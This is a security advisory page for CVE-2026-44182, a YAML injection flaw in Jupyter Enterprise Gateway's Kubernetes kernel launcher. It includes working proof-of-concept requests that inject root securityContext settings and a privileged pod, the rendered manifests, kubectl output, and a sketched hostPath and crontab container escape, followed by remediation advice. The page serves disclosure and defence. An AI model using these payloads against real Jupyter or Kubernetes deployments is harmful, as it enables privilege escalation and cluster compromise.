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Jupyter Enterprise Gateway CVE-2026-44182

CRITICAL
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-06-03 https://github.com/jupyter-server/enterprise_gateway GHSA-cfw7-6c5v-2wjq
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Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 03, 2026 - 22:00 vuln.today
Analysis Generated
Jun 03, 2026 - 22:00 vuln.today

DescriptionCVE.org

Summary

The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.

Details

The server interpolates untrusted environment variables (e.g., KERNEL_XXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, such as kernel_working_dir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

These proof of concepts are injecting in the KERNEL_WORKING_DIR env var, but any of the env vars could have been used. By default, the KERNEL_WORKING_DIR will be ignored unless EG_MIRROR_WORKING_DIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.

Using ducaale/xh:

bash
xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml

env-working-dir-exploit.yaml:

json
{
  "KERNEL_POD_NAME": "working-dir-root",
  "KERNEL_NAMESPACE": "notebooks",
  "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n
# HAHA - stray quote \""
}

Resulting request:

POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0

{
    "env": {
        "KERNEL_POD_NAME": "working-dir-root",
        "KERNEL_NAMESPACE": "notebooks",
        "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n
# HAHA - stray quote \""
    }
}

Curl equivalent command:

bash
curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n
# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n
# HAHA - stray quote \""}}'

The rendered Jinja2 template:

yaml
# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch_kubernetes.py code located in the
# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be
# provided by the client.
#
# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_
# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
  name: "working-dir-root"
  namespace: "notebooks"
  labels:
    kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
    app: enterprise-gateway
    component: kernel
    source: kernel-pod.yaml
  annotations:
    cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
  restartPolicy: Never
  serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
# will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel_uid" and "kernel_gid" values.
  securityContext:
    runAsUser: 1000
    runAsGroup: 100
    fsGroup: 100
  containers:
  - image: "elyra/kernel-py:3.2.3"
    name: "working-dir-root"
    env:
# Add any custom envs here that aren't already configured for the kernel's environment
#    - name: MY_CUSTOM_ENV
#      value: "my_custom_value"
    workingDir: "/tmp"
# INJECTION
  securityContext:
    runAsUser: 0
    runAsGroup: 0
    fsGroup: 100
# HAHA - stray quote "
    volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

bash
xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml

env-working-dir-exploit-pod.yaml:

json
{
  "KERNEL_POD_NAME": "working-dir-root-pod",
  "KERNEL_NAMESPACE": "notebooks",
  "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n  name: injected-pod\\n\\\n  spec:\\n  containers:\\n    - name: injected-container\\n      image: nginx\\n      ports:\\n        - containerPort: 80\\n      securityContext:\\n        privileged: true\\n        runAsUser: 0\\n        runAsGroup: 0\\n...\\n
# HAHA - stray quote\""
}

This is rendered as (skipping the beginning of the rendering before the inject):

yaml
    workingDir: "/tmp"
# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
  name: injected-pod
spec:
  containers:
    - name: injected-container
      image: nginx
      ports:
        - containerPort: 80
      securityContext:
        privileged: true
        runAsUser: 0
        runAsGroup: 0
...
# HAHA - stray quote"
    volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

kubectl get pods -n notebooks

NAME                   READY   STATUS    RESTARTS   AGE
injected-pod           1/1     Running   0          4s
working-dir-root-pod   1/1     Running   0          4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}':

json
{
  "privileged": true,
  "runAsGroup": 0,
  "runAsUser": 0
}

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.

AnalysisAI

YAML injection in Jupyter Enterprise Gateway prior to 3.3.0 allows attackers controlling KERNEL_* environment variables submitted via the /api/kernels endpoint to manipulate Kubernetes manifest rendering, escalating to privileged pod creation and full cluster compromise. The Jinja2 template at kernel-pod.yaml.j2 interpolates untrusted values without YAML-aware escaping, allowing both key overwrites (e.g., securityContext) and multi-document YAML injection to spawn arbitrary Pods, Secrets, PVCs, PVs, Services, and ConfigMaps. A detailed proof-of-concept is published in the GHSA advisory, though no CISA KEV listing or in-the-wild exploitation has been confirmed at time of analysis.

Technical ContextAI

Jupyter Enterprise Gateway is a headless server that provisions remote Jupyter kernels as Kubernetes pods on behalf of notebook clients. When a client calls POST /api/kernels, the server passes the supplied env dictionary into launch_kubernetes.py, which lowercases KERNEL_* names into kernel_* Jinja2 variables (e.g., kernel_working_dir) and interpolates them into etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2. Because the template uses plain string interpolation rather than a YAML-aware serializer like yaml.safe_dump, attacker-controlled strings containing quote characters, newlines, and YAML document separators (--- / ...) break out of their string context. This is a textbook CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component / Injection) flaw, manifesting as YAML/manifest injection - analogous to SQL or template injection but targeting the Kubernetes API server as the downstream consumer.

RemediationAI

Upgrade jupyter_enterprise_gateway to 3.3.0 or later, which is the vendor-released patched version per the GHSA advisory at https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-cfw7-6c5v-2wjq. If immediate upgrade is not possible, set mirrorWorkingDirs to false in the Helm chart (EG_MIRROR_WORKING_DIRS unset/false) to neutralize the KERNEL_WORKING_DIR vector, but be aware this does not close other KERNEL_* injection points and only narrows the attack surface. Additional compensating controls include restricting network access to the /api/kernels endpoint via NetworkPolicy or ingress ACLs so only authenticated notebook front-ends can reach it, applying a Kubernetes admission controller (OPA/Gatekeeper, Kyverno, or PodSecurity admission set to restricted) on the kernel namespace to reject pods that request privileged: true, runAsUser: 0, or hostPath mounts, and running the gateway's ServiceAccount with a tightly scoped Role limited to the kernel namespace so injected resources cannot be created cluster-wide - these admission controls may break legitimate kernels that legitimately rely on elevated settings and should be tested first.

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CVE-2026-44182 vulnerability details – vuln.today

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